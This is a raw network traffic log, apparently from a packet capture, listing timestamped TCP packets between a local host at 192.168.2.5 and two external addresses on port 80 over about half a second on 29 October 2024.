Oct 29, 2024 05:02:36.597033978 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.597045898 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.597059965 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.597075939 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.597088099 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.597115993 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.597783089 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.597800016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.597815990 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.597834110 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.597856045 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.598004103 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.598032951 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.598047972 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.598052025 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.598071098 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.598083973 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.598401070 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.598417044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.598433018 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.598453999 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.598464012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.628916979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.629000902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.629029036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.629039049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.629049063 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.629085064 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.629091024 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.629126072 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.629132986 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.629159927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.629168987 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.629195929 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.629201889 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.629232883 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.629244089 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.629277945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.671799898 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.671839952 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.671875954 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.671914101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672029972 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672063112 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672069073 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672097921 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672099113 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672118902 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672149897 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672373056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672406912 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672437906 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672441959 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672454119 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672475100 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672486067 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672523022 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672821045 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672875881 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672880888 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672928095 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.672933102 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672970057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.672982931 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.673003912 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.673019886 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.673039913 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.673053980 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.673093081 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716126919 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716171026 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716203928 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716228962 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716229916 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716274977 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716288090 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716331959 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716341019 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716376066 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716391087 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716413021 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716428041 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716453075 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716463089 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716500998 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716820002 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716872931 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716875076 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716911077 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716926098 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.716948032 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.716959953 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.717004061 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.717351913 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.717386961 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.717403889 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.717423916 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.717430115 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.717459917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.717472076 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.717504025 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.747968912 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.747999907 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.748038054 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.748054028 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.748059034 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.748090029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.748094082 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.748122931 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.748128891 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.748159885 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.748167038 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.748204947 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.748397112 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.748425961 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.748440981 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.748465061 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.748558044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.748585939 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.748600960 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.748629093 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.792766094 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792783976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792810917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792826891 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792829990 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.792843103 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792851925 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792867899 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.792867899 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.792872906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792879105 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.792890072 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792901993 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792917013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792932987 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792946100 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.792948008 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792960882 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.792960882 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.792964935 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792979002 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.792994022 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.793004036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.793008089 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.793025970 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.793032885 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.793041945 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.793056965 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.793059111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.793071032 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.793082952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.793082952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.793087006 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.793123960 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.793148994 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.835306883 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.835338116 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.835367918 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.835367918 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.835381985 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.835386038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.835403919 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.835416079 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.835431099 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.835438013 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.835438013 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.835447073 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.835464954 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.835478067 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.835489988 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.835513115 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.836124897 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.836141109 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.836155891 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.836170912 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.836188078 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.836188078 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.836205006 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.836210012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.836534977 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.836551905 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.836568117 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.836580992 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.836582899 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.836607933 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.836631060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.836631060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.867125034 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867206097 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867259026 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867279053 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.867295027 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867300034 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.867338896 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.867348909 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867384911 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867393017 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.867429018 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.867537022 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867571115 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867589951 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.867614985 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.867702961 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867753983 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.867769957 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.867824078 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.910491943 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910559893 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.910614014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910670042 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910671949 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.910717010 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.910732985 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910784960 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910792112 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.910820007 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910830021 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.910854101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910885096 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.910887003 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910902977 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.910919905 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910933971 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.910957098 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.910967112 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.911004066 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.911367893 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.911412001 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.911436081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.911470890 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.911482096 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.911519051 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.911519051 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.911552906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.911560059 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.911600113 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.911925077 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.911977053 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.911978960 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.912014008 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.912024021 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.912046909 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.912061930 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.912082911 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.912089109 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.912127018 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.922334909 CET	80	49799	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:36.922413111 CET	49799	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:36.931418896 CET	49799	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:36.936836004 CET	80	49799	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:36.954627991 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.954685926 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.954766035 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.954799891 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.954816103 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.954838037 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.954847097 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.954879045 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.954895973 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.954951048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.954952955 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.954997063 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955003977 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955039024 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955048084 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955084085 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955089092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955127001 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955135107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955169916 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955435038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955491066 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955492020 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955529928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955543041 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955579042 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955581903 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955615997 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955626965 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955653906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.955661058 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.955703974 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.986443043 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.986500025 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.986553907 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.986556053 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.986598969 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.986598969 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.986602068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.986654997 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.986670971 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.986706018 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.986718893 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.986741066 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.986751080 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.986777067 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.986788988 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.986819983 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.029774904 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.029850960 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.029920101 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.029968977 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030020952 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030071020 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030072927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030108929 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030122995 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030144930 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030158043 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030179977 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030189037 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030215979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030229092 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030251026 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030283928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030282021 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030294895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030318022 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030333996 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030356884 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030363083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030399084 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030889034 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030937910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.030940056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030972958 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.030987978 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.031011105 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.031028986 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.031045914 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.031061888 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.031080961 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.031089067 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.031121016 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.031575918 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.031606913 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.031630039 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.031650066 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.073934078 CET	80	49778	185.215.113.16	192.168.2.5
